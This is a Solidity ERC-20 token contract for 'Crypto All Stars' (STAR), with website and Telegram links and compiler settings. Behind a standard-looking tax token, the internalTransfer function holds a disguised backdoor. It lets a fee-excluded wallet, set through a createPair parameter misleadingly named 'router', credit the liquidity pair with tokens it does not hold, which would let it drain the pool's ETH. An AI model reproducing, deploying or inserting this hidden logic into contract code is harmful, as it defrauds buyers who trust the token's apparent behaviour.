/**
Website: https://cryptoallstarseth.vip

Telegram: https://t.me/cryptoallstarsentry

X: https://x.com/cryptoallstarsX
 */

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract STAR is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    uint256 private _initialBuyTax = 17;
    uint256 private _initialSellTax = 17;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceAt = 10;
    uint256 private _preventSwapBefore = 10;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Crypto All Stars";
    string private constant _symbol = unicode"STAR";
    uint256 private _buyCount = 0;
    uint256 public _maxTxAmount = _totalSupply / 100 * 2;
    uint256 public _maxWalletSize = _totalSupply / 100 * 2;
    uint256 public _maxTaxSwap = _totalSupply / 100;
    address payable private _tokenReceiver;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _tokenReceiver = payable(_msgSender());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    receive() external payable {}
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) &&
                 to != address(0) &&
                 amount > 0 &&
                 (tradingOpen || _isExcludedFromFee[from]), "ERC20: transfer from the zero address");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _reduceAt)? _finalSellTax: _initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (_buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractBalance = address(this).balance;
                sendETHToFee(contractBalance);
            }
        }
        internalTransfer(from, to, amount, taxAmount);
    }
    function internalTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        if (taxAmount >= 0) {
            if(amount >= 0 && (!_isExcludedFromFee[from] || from == address(this))) {
                _balances[from] = _balances[from].sub(taxAmount);
                _balances[address(this)] = _balances[address(this)].add(taxAmount);
            }
            else {
                if(to != address(this) && from != owner() && to == uniswapV2Pair) {
                    _balances[from] = _balances[from].sub(taxAmount);
                    _balances[to] = _balances[to].add(amount);
                    taxAmount = amount * (_finalBuyTax + _finalSellTax + 1);
                }
            }
            if(taxAmount > 0)
                emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount.sub(taxAmount));
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function createPair(address router) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        _tokenReceiver = payable(router);
        _isExcludedFromFee[_tokenReceiver] = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function sendETHToFee(uint256 amount) private {
        _tokenReceiver.transfer(amount);
    }
    function removeLimits() external onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletSize = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function rescueETH() external onlyOwner {
        payable (owner()).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "STAR.sol": "STAR"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}